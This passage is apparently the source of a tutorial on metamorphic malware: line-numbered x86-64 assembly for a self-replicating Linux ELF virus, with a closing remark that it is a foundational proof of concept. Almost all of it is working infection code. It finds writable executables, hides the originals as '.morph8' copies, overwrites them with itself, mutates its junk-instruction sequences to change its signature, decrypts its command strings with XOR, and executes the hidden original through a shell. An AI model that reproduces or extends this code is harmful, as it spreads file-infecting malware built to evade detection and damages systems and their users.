 264    push rsi
 265.cmp_loop:
 266    mov al, [rdi]
 267    mov bl, [rsi]
 268    cmp al, bl
 269    jne .not_equal
 270    test al, al
 271    jz .equal
 272    inc rdi
 273    inc rsi
 274    jmp .cmp_loop
 275.equal:
 276    xor rax, rax
 277    jmp .done
 278.not_equal:
 279    movzx rax, al
 280    movzx rbx, bl
 281    sub rax, rbx
 282.done:
 283    pop rsi
 284    pop rdi
 285    ret
 286
 287strstr:
 288    mov r8, rdi
 289    mov r9, rsi
 290
 291    mov al, [r9]
 292    test al, al
 293    jz .found
 294
 295.scan:
 296    mov bl, [r8]
 297    test bl, bl
 298    jz .not_found
 299
 300    cmp al, bl
 301    je .check_match
 302    inc r8
 303    jmp .scan
 304
 305.check_match:
 306    mov r10, r8
 307    mov r11, r9
 308
 309.match_loop:
 310    mov al, [r11]
 311    test al, al
 312    jz .found
 313
 314    mov bl, [r10]
 315    test bl, bl
 316    jz .not_found
 317
 318    cmp al, bl
 319    jne .next_pos
 320
 321    inc r10
 322    inc r11
 323    jmp .match_loop
 324
 325.next_pos:
 326    inc r8
 327    jmp .scan
 328
 329.found:
 330    mov rax, r8
 331    ret
 332
 333.not_found:
 334    xor rax, rax
 335    ret
 336
 337; PRNG
 338get_random:
 339    mov eax, [signme]
 340    mov edx, eax
 341    shr edx, 1
 342    xor eax, edx
 343    mov edx, eax
 344    shr edx, 2
 345    xor eax, edx
 346    mov [signme], eax
 347    ret
 348
 349get_range:                          ; random in range 0-ecx
 350    call get_random
 351    xor edx, edx
 352    div ecx
 353    mov eax, edx
 354    ret
 355
 356; decrypt string with indexed key
 357d_strmain:
 358    push rax
 359    push rbx
 360    push rcx
 361    push rdx
 362    push r8
 363
 364    mov r8, xor_keys
 365    add r8, rcx
 366    mov al, [r8]
 367
 368    mov rcx, rdx
 369
 370    ; clear dest buffer
 371    push rdi
 372    push rcx
 373    mov rdi, rsi
 374    mov rcx, rdx
 375    xor bl, bl
 376    rep stosb
 377    pop rcx
 378    pop rdi
 379
 380.d_loop:
 381    test rcx, rcx
 382    jz .d_done
 383
 384    mov bl, [rdi]
 385    xor bl, al
 386    mov [rsi], bl
 387
 388    inc rdi
 389    inc rsi
 390    dec rcx
 391    jmp .d_loop
 392
 393.d_done:
 394    pop r8
 395    pop rdx
 396    pop rcx
 397    pop rbx
 398    pop rax
 399    ret
 400
 401; decrypt all strings at runtime
 402d_str:
 403    push rdi
 404    push rsi
 405    push rdx
 406    push rcx
 407
 408    mov rdi, touc
 409    mov rsi, touch_cmd_fmt
 410    mov rdx, 9
 411    mov rcx, 0
 412    call d_strmain
 413
 414    mov rdi, cmhd
 415    mov rsi, chmod_cmd_fmt
 416    mov rdx, 12
 417    mov rcx, 1
 418    call d_strmain
 419
 420    mov rdi, tchh
 421    mov rsi, touch_chmod_fmt
 422    mov rdx, 12
 423    mov rcx, 2
 424    call d_strmain
 425
 426    mov rdi, exec
 427    mov rsi, exec_cmd_fmt
 428    mov rdx, 5
 429    mov rcx, 3
 430    call d_strmain
 431
 432    mov rdi, cpcm
 433    mov rsi, cp_cmd_fmt
 434    mov rdx, 9
 435    mov rcx, 4
 436    call d_strmain
 437
 438    mov rdi, vxxe
 439    mov rsi, vxx_str
 440    mov rdx, 4
 441    mov rcx, 5
 442    call d_strmain
 443
 444    mov rdi, hidd
 445    mov rsi, hidden_prefix
 446    mov rdx, 8
 447    mov rcx, 6
 448    call d_strmain
 449
 450    pop rcx
 451    pop rdx
 452    pop rsi
 453    pop rdi
 454    ret
 455
 456; 4 variants
 457spawn_junk:
 458    push rbx
 459    push rcx
 460    push rdx
 461    push r8
 462
 463    mov r8, rdi               ; dst buffer
 464
 465    call get_random
 466    and eax, 3                ; 4 variants
 467
 468    cmp eax, 0
 469    je .variant_0
 470    cmp eax, 1
 471    je .variant_1
 472    cmp eax, 2
 473    je .variant_2
 474    jmp .variant_3
 475
 476.variant_0:
 477    ; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
 478    mov byte [r8], 0x50
 479    mov byte [r8+1], 0x53
 480    mov byte [r8+2], 0x48
 481    mov byte [r8+3], 0x87
 482    mov byte [r8+4], 0xC3
 483    mov byte [r8+5], 0x48
 484    mov byte [r8+6], 0x87
 485    mov byte [r8+7], 0xC3
 486    mov byte [r8+8], 0x5B
 487    mov byte [r8+9], 0x58
 488    jmp .done
 489
 490.variant_1:
 491    ; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx
 492    mov byte [r8], 0x51
 493    mov byte [r8+1], 0x52
 494    mov byte [r8+2], 0x48
 495    mov byte [r8+3], 0x87
 496    mov byte [r8+4], 0xCA
 497    mov byte [r8+5], 0x48
 498    mov byte [r8+6], 0x87
 499    mov byte [r8+7], 0xCA
 500    mov byte [r8+8], 0x5A
 501    mov byte [r8+9], 0x59
 502    jmp .done
 503
 504.variant_2:
 505    ; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax
 506    mov byte [r8], 0x50
 507    mov byte [r8+1], 0x51
 508    mov byte [r8+2], 0x48
 509    mov byte [r8+3], 0x87
 510    mov byte [r8+4], 0xC1
 511    mov byte [r8+5], 0x48
 512    mov byte [r8+6], 0x87
 513    mov byte [r8+7], 0xC1
 514    mov byte [r8+8], 0x59
 515    mov byte [r8+9], 0x58
 516    jmp .done
 517
 518.variant_3:
 519    ; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx
 520    mov byte [r8], 0x53
 521    mov byte [r8+1], 0x52
 522    mov byte [r8+2], 0x48
 523    mov byte [r8+3], 0x87
 524    mov byte [r8+4], 0xD3
 525    mov byte [r8+5], 0x48
 526    mov byte [r8+6], 0x87
 527    mov byte [r8+7], 0xD3
 528    mov byte [r8+8], 0x5A
 529    mov byte [r8+9], 0x5B
 530
 531.done:
 532    pop r8
 533    pop rdx
 534    pop rcx
 535    pop rbx
 536    ret
 537
 538; file I/O
 539read_f:
 540    push r12
 541    push r13
 542    push r14
 543    push r15
 544
 545    mov r15, rsi            ; save buffer pointer
 546
 547    mov rax, SYS_open
 548    mov rsi, O_RDONLY
 549    xor rdx, rdx
 550    syscall
 551    test rax, rax
 552    js .error
 553
 554    mov r12, rax
 555
 556    mov rax, SYS_fstat
 557    mov rdi, r12
 558    sub rsp, 144
 559    mov rsi, rsp
 560    syscall
 561    test rax, rax
 562    js .close_e
 563
 564    mov r13, [rsp + 48]     ; file size from stat
 565    add rsp, 144
 566
 567    ; bounds check
 568    cmp r13, 65536
 569    jle .size_ok
 570    mov r13, 65536
 571.size_ok:
 572    test r13, r13
 573    jz .empty
 574
 575    xor r14, r14            ; bytes read cnt
 576
 577.read_loop:
 578    mov rax, SYS_read
 579    mov rdi, r12
 580    mov rsi, r15
 581    add rsi, r14            ; offset into buffer
 582    mov rdx, r13
 583    sub rdx, r14            ; remaining bytes to read
 584    jz .read_done
 585    syscall
 586
 587    test rax, rax
 588    jle .read_done          ; EOF or error
 589    add r14, rax
 590    cmp r14, r13
 591    jl .read_loop
 592
 593.read_done:
 594    mov rax, SYS_close
 595    mov rdi, r12
 596    syscall
 597
 598    mov rax, r14            ; return bytes read
 599    jmp .done
 600
 601.empty:
 602    mov rax, SYS_close
 603    mov rdi, r12
 604    syscall
 605    xor rax, rax
 606
 607.done:
 608    pop r15
 609    pop r14
 610    pop r13
 611    pop r12
 612    ret
 613
 614.close_e:
 615    add rsp, 144
 616    mov rax, SYS_close
 617    mov rdi, r12
 618    syscall
 619
 620.error:
 621    mov rax, -1
 622    pop r15
 623    pop r14
 624    pop r13
 625    pop r12
 626    ret
 627
 628write_f:
 629    push rbp
 630    mov rbp, rsp
 631    push r12
 632    push r13
 633    push r14
 634    push r15
 635
 636    mov r12, rdi            ; filename
 637    mov r13, rsi            ; buffer
 638    mov r14, rdx            ; size
 639
 640    ; validate inputs
 641    test r12, r12
 642    jz .write_er
 643    test r13, r13
 644    jz .write_er
 645    test r14, r14
 646    jz .write_s
 647
 648    mov rdi, r12
 649    mov rsi, O_WRONLY | O_CREAT | O_TRUNC
 650    mov rdx, 0755o
 651    call sys_open
 652    cmp rax, 0
 653    jl .write_er
 654    mov r12, rax            ; fd
 655
 656    xor r15, r15            ; bytes written cnt
 657
 658.write_lp:
 659    mov rdi, r12
 660    mov rsi, r13
 661    add rsi, r15            ; offset into buffer
 662    mov rdx, r14
 663    sub rdx, r15            ; remaining bytes
 664    jz .write_c
 665    call sys_write
 666    JUNK
 667
 668    test rax, rax
 669    jle .r_close
 670    add r15, rax
 671    cmp r15, r14
 672    jl .write_lp
 673
 674.write_c:
 675    mov rdi, r12
 676    call sys_close
 677
 678.write_s:
 679    xor rax, rax            ; success
 680    pop r15
 681    pop r14
 682    pop r13
 683    pop r12
 684    pop rbp
 685    ret
 686
 687.r_close:
 688    mov rdi, r12
 689    call sys_close
 690.write_er:
 691    mov rax, -1
 692    pop r15
 693    pop r14
 694    pop r13
 695    pop r12
 696    pop rbp
 697    ret
 698
 699; instruction generator
 700trace_op:
 701    ; bounds check
 702    mov rax, [codelen]
 703    cmp rsi, rax
 704    jae .bounds_er
 705
 706    mov r8, code
 707    add r8, rsi
 708
 709    ; instruction size check
 710    mov rax, [codelen]
 711    sub rax, rsi
 712    cmp rax, 3
 713    jae .rex_xchg
 714    cmp rax, 2
 715    jae .write_prefix
 716    cmp rax, 1
 717    jae .write_nop
 718
 719.bounds_er:
 720    xor eax, eax
 721    ret
 722
 723.write_nop:
 724    mov byte [r8], NOP
 725    mov eax, 1
 726    ret
 727
 728.write_prefix:
 729    ; validate register (0-3 only)
 730    cmp dil, 3
 731    ja .bounds_er
 732
 733    call get_random
 734    and eax, 5
 735    movzx eax, byte [prefixes + rax]
 736    mov [r8], al
 737
 738    call get_random
 739    and eax, 3              ; rax,rbx,rcx,rdx only
 740    shl eax, 3
 741    add eax, 0xC0
 742    add al, dil
 743    mov [r8 + 1], al
 744
 745    mov eax, 2
 746    ret
 747
 748.rex_xchg:
 749    ; generate REX.W XCHG
 750    cmp dil, 3
 751    ja .bounds_er
 752
 753    ; get different register
 754    call get_random
 755    and eax, 3
 756    cmp al, dil
 757    je .rex_xchg            ; retry if same
 758
 759    ; build REX.W XCHG r1, r2
 760    mov byte [r8], REX_W
 761    mov byte [r8 + 1], XCHG_OP
 762
 763    ; ModR/M byte
 764    mov bl, XCHG_BASE
 765    mov cl, al
 766    shl cl, 3
 767    add bl, cl
 768    add bl, dil
 769    mov [r8 + 2], bl
 770
 771    mov eax, 3
 772    ret
 773
 774; instruction decoder
 775trace_jmp:
 776    push rbx
 777    push rcx
 778
 779    cmp rsi, [codelen]
 780    jae .invalid
 781
 782    mov r8, code
 783    mov al, [r8 + rsi]
 784
 785    ; check for NOP
 786    cmp al, NOP
 787    je .ret_1
 788
 789    ; check MOV+reg
 790    mov bl, MOV
 791    add bl, dil
 792    cmp al, bl
 793    je .ret_5
 794
 795    ; check prefix instruction
 796    mov rbx, prefixes
 797.check_prefix:
 798    mov cl, [rbx]
 799    test cl, cl
 800    jz .invalid
 801    cmp cl, al
 802    je .check_second_byte
 803    inc rbx
 804    jmp .check_prefix
 805
 806.check_second_byte:
 807    inc rsi
 808    cmp rsi, [codelen]
 809    jae .invalid
 810
 811    mov al, [r8 + rsi]
 812    cmp al, 0xC0
 813    jb .invalid
 814    cmp al, 0xFF
 815    ja .invalid
 816    and al, 7
 817    cmp al, dil
 818    jne .invalid
 819
 820.ret_2:
 821    mov eax, 2
 822    jmp .done
 823.ret_1:
 824    mov eax, 1
 825    jmp .done
 826.ret_5:
 827    mov eax, 5
 828    jmp .done
 829.invalid:
 830    xor eax, eax
 831.done:
 832    pop rcx
 833    pop rbx
 834    ret
 835
 836; junk mutation engine
 837replace_junk:
 838    push r12
 839    push r13
 840    push r14
 841    push r15
 842
 843    mov r8, [codelen]
 844    test r8, r8
 845    jz .done
 846
 847    cmp r8, JUNKLEN
 848    jle .done
 849
 850    sub r8, JUNKLEN
 851    mov r9, code
 852    xor r12, r12
 853
 854.scan_loop:
 855    cmp r12, r8
 856    jae .done
 857
 858    mov rax, [codelen]
 859    cmp r12, rax
 860    jae .done
 861
 862    ; scan for junk pattern
 863    movzx eax, byte [r9 + r12]
 864    cmp al, PUSH
 865    jb .next_i
 866    cmp al, PUSH + 3        ; rax,rbx,rcx,rdx only
 867    ja .next_i
 868
 869    ; second byte must be PUSH
 870    movzx ebx, byte [r9 + r12 + 1]
 871    cmp bl, PUSH
 872    jb .next_i
 873    cmp bl, PUSH + 3
 874    ja .next_i
 875
 876    ; check REX.W prefix
 877    cmp byte [r9 + r12 + 2], REX_W
 878    jne .next_i
 879
 880    ; check XCHG opcode
 881    cmp byte [r9 + r12 + 3], XCHG_OP
 882    jne .next_i
 883
 884    ; validate complete sequence
 885    call validate
 886    test eax, eax
 887    jz .next_i
 888
 889    ; replace with new junk
 890    call insert
 891
 892.next_i:
 893    inc r12
 894    jmp .scan_loop
 895
 896.done:
 897    pop r15
 898    pop r14
 899    pop r13
 900    pop r12
 901    ret
 902
 903; validate junk pattern
 904validate:
 905    push rbx
 906    push rcx
 907
 908    ; extract registers from PUSH
 909    movzx eax, byte [r9 + r12]
 910    sub al, PUSH
 911    mov bl, al              ; reg1
 912
 913    movzx eax, byte [r9 + r12 + 1]
 914    sub al, PUSH
 915    mov cl, al              ; reg2
 916
 917    ; registers must differ
 918    cmp bl, cl
 919    je .invalid
 920
 921    ; check POP sequence (reversed)
 922    movzx eax, byte [r9 + r12 + 8]
 923    sub al, POP
 924    cmp al, cl
 925    jne .invalid
 926
 927    movzx eax, byte [r9 + r12 + 9]
 928    sub al, POP
 929    cmp al, bl
 930    jne .invalid
 931
 932    mov eax, 1              ; Valid sequence
 933    jmp .done
 934
 935.invalid:
 936    xor eax, eax
 937.done:
 938    pop rcx
 939    pop rbx
 940    ret
 941
 942; insert new junk sequence
 943insert:
 944    push rdi
 945
 946    mov rdi, r9
 947    add rdi, r12
 948    call spawn_junk
 949
 950    pop rdi
 951    ret
 952
 953;; shell command execution
 954exec_sh:
 955    sub rsp, 0x40
 956    mov qword [rsp], sh_arg0_ptr
 957    mov qword [rsp+8], rdi
 958    mov qword [rsp+16], 0
 959
 960    mov rsi, rsp
 961    xor rdx, rdx
 962
 963    mov rdi, shell_path
 964    mov rax, SYS_execve
 965    syscall
 966    mov rdi, 1
 967    call sys_exit
 968
 969sh_arg0_ptr: dq sh_arg0
 970sh_arg1_ptr: dq sh_arg1
 971
 972list:                           ; scan directory for infection targets
 973    push rbp
 974    mov rbp, rsp
 975    push r12
 976    push r13
 977    push r14
 978    push r15
 979
 980    mov r14, rsi
 981
 982    mov rdi, current_dir
 983    mov rsi, O_RDONLY
 984    mov rdx, 0
 985    call sys_open
 986    cmp rax, 0
 987    jl .list_error
 988    mov r12, rax
 989
 990.list_loop:
 991    mov rdi, r12
 992    mov rsi, dir_buf
 993    mov rdx, 4096
 994    call sys_getdents64
 995    cmp rax, 0
 996    je .list_done
 997    mov r13, rax
 998
 999    xor r15, r15
1000
1001.list_entry:
1002    cmp r15, r13
1003    jge .list_loop
1004
1005    mov rdi, dir_buf
1006    add rdi, r15
1007
1008    mov r8, rdi
1009    add r8, 16
1010    movzx rax, word [r8]    ; d_reclen at offset 16
1011
1012    cmp rax, 19
1013    jl .skip_entry
1014    cmp rax, 4096
1015    jg .skip_entry
1016
1017    push rax
1018
1019    mov r8, rdi
1020    add r8, 18
1021    mov cl, [r8]
1022
1023    cmp cl, 8
1024    jne .skip_entry
1025
1026    add rdi, 19
1027
1028    cmp byte [rdi], '.'
1029    jne .check_file
1030    mov r8, rdi
1031    inc r8
1032    cmp byte [r8], 0
1033    je .skip_entry
1034    mov r8, rdi
1035    inc r8
1036    cmp byte [r8], '.'
1037    je .skip_entry
1038
1039.check_file:
1040    push rdi
1041
1042    mov rdi, r14
1043    call basename
1044
1045    mov rsi, rax
1046    mov rdi, [rsp]
1047    call strcmp
1048
1049    pop rdi
1050    test rax, rax
1051    jz .chosen_one
1052
1053    push rdi
1054    push rsi
1055    push rbx
1056
1057    ; Check if filename starts with .morph8
1058    mov rsi, hidden_prefix
1059    mov rbx, rdi
1060
1061.see_hidden:
1062    mov al, [rbx]
1063    mov dl, [rsi]
1064    test dl, dl
1065    jz .is_hidden       ; End of prefix - it's a hidden file
1066    cmp al, dl
1067    jne .not_hidden     ; Mismatch - not hidden
1068    inc rbx
1069    inc rsi
1070    jmp .see_hidden
1071
1072.is_hidden:
1073    pop rbx
1074    pop rsi
1075    pop rdi
1076    jmp .skip_entry
1077
1078.not_hidden:
1079    pop rbx
1080    pop rsi
1081    pop rdi
1082
1083    mov rsi, vxx_str
1084    call strstr
1085    test rax, rax
1086    jnz .found_vxx
1087
1088    push rdi
1089    mov rsi, X_OK
1090    call sys_access
1091    pop rdi
1092    cmp rax, 0
1093    jne .not_exec
1094
1095    push rdi
1096    mov rsi, W_OK
1097    call sys_access
1098    pop rdi
1099    cmp rax, 0
1100    jne .not_exec
1101
1102    jmp .e_conditions
1103
1104.not_exec:
1105    jmp .skip_entry
1106
1107.e_conditions:
1108    sub rsp, 256
1109    mov r8, rsp
1110    push rdi
1111
1112    mov rdi, r8
1113    mov rsi, [rsp]
1114    call hidden_name
1115
1116    mov rax, SYS_open
1117    mov rdi, r8
1118    mov rsi, O_RDONLY
1119    xor rdx, rdx
1120    syscall
1121
1122    pop rdi
1123    test rax, rax
1124    js .not_exists
1125
1126    ; Hidden file exists - been here, skip it
1127    push rdi
1128    mov rdi, rax
1129    call sys_close
1130    pop rdi
1131    add rsp, 256
1132    jmp .skip_entry
1133
1134.not_exists:
1135    add rsp, 256
1136
1137    ; Check if we're trying to infect ourselves
1138    push rdi                ; Save current filename
1139
1140    ; Get our own basename
1141    mov rdi, bin_name
1142    call basename
1143    mov rsi, rax
1144
1145    mov rdi, [rsp]
1146    call strcmp
1147
1148    pop rdi
1149
1150    test rax, rax
1151    jz .skip_self_infection ; If filenames match, skip infection
1152
1153    ; Check if file is a valid ELF executable before infection
1154    push rdi
1155    call is_elf
1156    pop rdi
1157    test rax, rax
1158    jz .skip_non_elf        ; Not a valid ELF, skip infection
1159
1160    push rdi
1161    call implant
1162    pop rdi
1163    jmp .skip_entry
1164
1165.skip_self_infection:
1166    ; Don't infect ourselves, just skip
1167    jmp .skip_entry
1168
1169.skip_non_elf:
1170    ; Not a valid ELF executable, skip infection
1171    jmp .skip_entry
1172
1173.chosen_one:
1174    push rdi
1175    mov rsi, rdi
1176    mov rdi, orig_exec_name
1177    call strcpy
1178    pop rdi
1179    jmp .skip_entry
1180
1181.found_vxx:
1182    mov byte [vierge], 0
1183
1184.skip_entry:
1185    pop rax
1186    add r15, rax
1187    jmp .list_entry
1188
1189.list_done:
1190    mov rdi, r12
1191    call sys_close
1192
1193.list_error:
1194    pop r15
1195    pop r14
1196    pop r13
1197    pop r12
1198    pop rbp
1199    ret
1200
1201implant:                        ; infect target executable
1202    push r12
1203    push r13
1204    mov r12, rdi
1205
1206    ; Validate input
1207    test r12, r12
1208    jz .d_skip
1209
1210    push r12
1211    mov rdi, r12
1212    call strlen
1213    pop r12
1214    mov r13, rax
1215
1216    ; Check filename length bounds
1217    cmp r13, 200
1218    jg .d_skip
1219    test r13, r13
1220    jz .d_skip
1221
1222    ; Check if we have code to embed
1223    mov rax, [codelen]
1224    test rax, rax
1225    jz .d_skip
1226    cmp rax, 65536
1227    jg .d_skip
1228
1229    ; 1: Create hidden backup of original file
1230    sub rsp, 768
1231    mov rdi, rsp
1232    add rdi, 512             ; Use third section for hidden name
1233    mov rsi, r12
1234    call hidden_name
1235
1236    ; Check if hidden backup already exists
1237    mov rax, SYS_open
1238    mov rdi, rsp
1239    add rdi, 512             ; hidden name
1240    mov rsi, O_RDONLY
1241    xor rdx, rdx
1242    syscall
1243
1244    test rax, rax
1245    js .fallback             ; File doesn't exist, create backup
1246
1247    mov rdi, rax
1248    call sys_close
1249    jmp .infect_orgi         ; Proceed to reinfect with new mutations
1250
1251.fallback:
1252    mov rdi, rsp             ; Use first section for command
1253    mov rsi, cp_cmd_fmt
1254    mov rdx, r12             ; original filename
1255    mov rcx, rsp
1256    add rcx, 512             ; hidden name
1257    call sprintf_two_args
1258    mov rdi, rsp
1259    call system_call
1260
1261    ; Set permissions on hidden file
1262    mov rdi, rsp
1263    add rdi, 256             ; Use second section for chmod command
1264    mov rsi, chmod_cmd_fmt
1265    mov rdx, rsp
1266    add rdx, 512             ; hidden name
1267    call sprintf
1268    mov rdi, rsp
1269    add rdi, 256
1270    call system_call
1271
1272.infect_orgi:
1273    add rsp, 768
1274
1275    ; 2: Replace original file with viral code
1276    mov rdi, r12             ; original filename
1277    mov rsi, code
1278    mov rdx, [codelen]
1279    call write_f
1280
1281.d_skip:
1282    pop r13
1283    pop r12
1284    ret
1285
1286;; payload execution
1287execute:                        ; virus payload
1288    JUNK
1289
1290    mov rdi, msg_cat
1291    call strlen
1292    mov rdx, rax
1293
1294    mov rdi, 1
1295    mov rsi, msg_cat
1296    call sys_write
1297    JUNK
1298    ret
1299
1300hidden_name:                    ; create .morph8
1301    push rsi
1302    push rdi
1303    push rbx
1304    push rcx
1305
1306    mov rbx, rsi
1307    mov rcx, hidden_prefix
1308
1309.check_prefix:
1310    mov al, [rbx]
1311    mov dl, [rcx]
1312    test dl, dl
1313    jz .already_one          ; it matches
1314    cmp al, dl
1315    jne .add_prefix          ; Mismatch
1316    inc rbx
1317    inc rcx
1318    jmp .check_prefix
1319
1320.already_one:
1321    ; File already has .morph8 prefix, just copy it
1322    jmp .cp_file
1323
1324.add_prefix:
1325    ; Add .morph8 prefix
1326    mov byte [rdi], '.'
1327    mov byte [rdi + 1], 'm'
1328    mov byte [rdi + 2], 'o'
1329    mov byte [rdi + 3], 'r'
1330    mov byte [rdi + 4], 'p'
1331    mov byte [rdi + 5], 'h'
1332    mov byte [rdi + 6], '8'
1333
1334    add rdi, 7
1335
1336.cp_file:
1337    mov al, [rsi]
1338    test al, al
1339    jz .done
1340    mov [rdi], al
1341    inc rsi
1342    inc rdi
1343    jmp .cp_file
1344
1345.done:
1346    mov byte [rdi], 0
1347
1348    pop rcx
1349    pop rbx
1350    pop rdi
1351    pop rsi
1352    ret
1353
1354sprintf:                        ; basic string formatting
1355    push r9
1356    push r10
1357
1358    mov r8, rdi                 ; dst
1359    mov r9, rsi                 ; string
1360    mov r10, rdx                ; arg
1361
1362.scan_format:
1363    mov al, [r9]
1364    test al, al
1365    jz .done
1366
1367    cmp al, '%'
1368    je .found_percent
1369
1370    mov [r8], al
1371    inc r8
1372    inc r9
1373    jmp .scan_format
1374
1375.found_percent:
1376    inc r9
1377    mov al, [r9]
1378    cmp al, 's'
1379    je .cp_arg
1380    cmp al, '%'
1381    je .cp_percent
1382
1383    ; Unknown format, copy literally
1384    mov byte [r8], '%'
1385    inc r8
1386    mov [r8], al
1387    inc r8
1388    inc r9
1389    jmp .scan_format
1390
1391.cp_percent:
1392    mov byte [r8], '%'
1393    inc r8
1394    inc r9
1395    jmp .scan_format
1396
1397.cp_arg:
1398    push r9
1399    mov r9, r10
1400.cp_loop:
1401    mov al, [r9]
1402    test al, al
1403    jz .cp_done
1404    mov [r8], al
1405    inc r8
1406    inc r9
1407    jmp .cp_loop
1408
1409.cp_done:
1410    pop r9
1411    inc r9
1412    jmp .scan_format
1413
1414.done:
1415    mov byte [r8], 0
1416    pop r10
1417    pop r9
1418    ret
1419
1420sprintf_two_args:               ; string with two args
1421    push rbp
1422    mov rbp, rsp
1423    push r10
1424    push r11
1425    push r12
1426
1427    mov r8, rdi                 ; dst buffer
1428    mov r9, rsi                 ; string
1429    mov r10, rdx                ; 1 arg
1430    mov r11, rcx                ; 2 arg
1431    xor r12, r12                ; arg cnt
1432
1433.cp_loop:
1434    mov al, [r9]
1435    test al, al
1436    je .done
1437    cmp al, '%'
1438    je .handle_format
1439    mov [r8], al
1440    inc r8
1441    inc r9
1442    jmp .cp_loop
1443
1444.handle_format:
1445    inc r9
1446    mov al, [r9]
1447    cmp al, 's'
1448    je .cp_string
1449    cmp al, '%'
1450    je .cp_percent
1451
1452    mov byte [r8], '%'
1453    inc r8
1454    mov [r8], al
1455    inc r8
1456    inc r9
1457    jmp .cp_loop
1458
1459.cp_percent:
1460    mov byte [r8], '%'
1461    inc r8
1462    inc r9
1463    jmp .cp_loop
1464
1465.cp_string:
1466    cmp r12, 0
1467    je .use_arg1
1468    mov rdx, r11                ; second arg
1469    jmp .do_cp
1470.use_arg1:
1471    mov rdx, r10                ; first arg
1472.do_cp:
1473    inc r12
1474
1475    push r9
1476    push rdx
1477    mov r9, rdx
1478.str_cp:
1479    mov al, [r9]
1480    test al, al
1481    je .str_done
1482    mov [r8], al
1483    inc r8
1484    inc r9
1485    jmp .str_cp
1486
1487.str_done:
1488    pop rdx
1489    pop r9
1490    inc r9
1491    jmp .cp_loop
1492
1493.done:
1494    mov byte [r8], 0
1495    pop r12
1496    pop r11
1497    pop r10
1498    pop rbp
1499    ret
1500
1501system_call:                    ; execute shell
1502    push r12
1503    mov r12, rdi
1504
1505    mov rax, SYS_fork
1506    syscall
1507    test rax, rax
1508    jz .child_process
1509    js .error
1510
1511    mov rdi, rax
1512    xor rsi, rsi
1513    xor rdx, rdx
1514    xor r10, r10
1515    mov rax, SYS_wait4
1516    syscall
1517
1518    pop r12
1519    ret
1520
1521.child_process:
1522    sub rsp, 32
1523    mov qword [rsp], sh_arg0
1524    mov qword [rsp+8], sh_arg1
1525    mov qword [rsp+16], r12
1526    mov qword [rsp+24], 0
1527
1528    mov rax, SYS_execve
1529    mov rdi, shell_path
1530    mov rsi, rsp
1531    xor rdx, rdx
1532    syscall
1533
1534    mov rax, SYS_exit
1535    mov rdi, 1
1536    syscall
1537
1538.error:
1539    pop r12
1540    ret
1541
1542;;  entry point
1543_start:
1544    ; anti goes here
1545    ;avant:
1546    call d_str   ; Decrypt all
1547
1548    mov rax, SYS_getrandom
1549    mov rdi, signme
1550    mov rsi, 4
1551    xor rdx, rdx
1552    syscall
1553
1554    mov al, [vierge_val]
1555    mov [vierge], al
1556
1557    pop rdi
1558    mov rsi, rsp
1559    push rsi
1560
1561    mov rdi, bin_name
1562    mov rsi, [rsp]
1563    call strcpy
1564
1565    mov rdi, [rsp]
1566    call basename
1567    mov rdi, orig_exec_name
1568    mov rsi, rax
1569    call strcpy
1570
1571    call execute
1572
1573    pop rsi
1574    push rsi
1575
1576    ; Read our own code
1577    mov rdi, [rsi]
1578    call read_code
1579
1580    mov rax, [codelen]
1581    test rax, rax
1582    jz .skip_mutation
1583
1584    ; Apply mutations
1585    call replace_junk
1586
1587.skip_mutation:
1588    pop rsi
1589    push rsi
1590    mov rdi, current_dir
1591    mov rsi, [rsi]
1592    call list
1593
1594    cmp byte [vierge], 1
1595    jne .exec_theone
1596
1597    cmp byte [orig_exec_name], 0
1598    jne .orig_name_ok
1599    mov rdi, bin_name
1600    call basename
1601    mov rdi, orig_exec_name
1602    mov rsi, rax
1603    call strcpy
1604
1605.orig_name_ok:
1606    ; Build hidden name for the chosen one
1607    sub rsp, 512
1608    mov rdi, rsp
1609    add rdi, 256
1610    mov rsi, orig_exec_name
1611    call hidden_name
1612
1613    ; Create touch command
1614    mov rdi, rsp             ; Use first half for command
1615    mov rsi, touch_cmd_fmt
1616    mov rdx, rsp
1617    add rdx, 256             ; Point to hidden name
1618    call sprintf
1619    mov rdi, rsp
1620    call system_call
1621
1622    ; Create chmod command
1623    mov rdi, rsp             ; Reuse first half for command
1624    mov rsi, touch_chmod_fmt
1625    mov rdx, rsp
1626    add rdx, 256             ; Point to hidden name
1627    call sprintf
1628    mov rdi, rsp
1629    call system_call
1630    add rsp, 512
1631
1632.exec_theone:
1633    mov rdi, bin_name
1634    mov rsi, hidden_prefix
1635    call strstr
1636    test rax, rax
1637    jnz .killme
1638
1639    ; Build hidden name and execute it
1640    sub rsp, 512
1641    mov rdi, rsp
1642    add rdi, 256             ; Use second half for hidden name
1643    mov rsi, orig_exec_name
1644    call hidden_name
1645
1646    ; Create exec command
1647    mov rdi, rsp             ; Use first half for command
1648    mov rsi, exec_cmd_fmt
1649    mov rdx, rsp
1650    add rdx, 256             ; Point to hidden name
1651    call sprintf
1652    mov rdi, rsp
1653    call system_call
1654    add rsp, 512
1655
1656.killme:
1657    ; Clean up any leftovers
1658    call zero0ut
1659
1660    pop rsi
1661    xor rdi, rdi
1662    mov rax, SYS_exit
1663    syscall
1664
1665zero0ut:
1666    mov rdi, code
1667    mov rcx, 65536
1668    xor al, al
1669    rep stosb
1670
1671    mov rdi, dir_buf
1672    mov rcx, 4096
1673    xor al, al
1674    rep stosb
1675
1676    mov rdi, temp_buf
1677    mov rcx, 1024
1678    xor al, al
1679    rep stosb
1680
1681    ret
1682
1683read_code:
1684    mov rsi, code
1685    call read_f
1686    test rax, rax
1687    js .error
1688
1689    mov [codelen], rax
1690    ret
1691
1692.error:
1693    mov qword [codelen], 0
1694    ret
1695
1696extract_v:
1697    push r12
1698    push r13
1699    push r14
1700
1701    mov rdi, bin_name
1702    mov rsi, code
1703    call read_f
1704    test rax, rax
1705    js .err_v
1706
1707    cmp rax, 65536
1708    jle .size_ok
1709    mov rax, 65536
1710
1711.size_ok:
1712    mov [codelen], rax
1713    jmp .ext_done
1714
1715.err_v:
1716    mov qword [codelen], 0
1717    xor rax, rax
1718
1719.ext_done:
1720    pop r14
1721    pop r13
1722    pop r12
1723    ret

This Is Only the Foundation #

Its purpose is to demonstrate core mechanisms, not to claim coverage of a complete system. Metamorphic and polymorphic engines go far deeper than what is shown here. What we have now is a starting point β€” sufficient to prove the concept, but still far from full-spectrum capability.

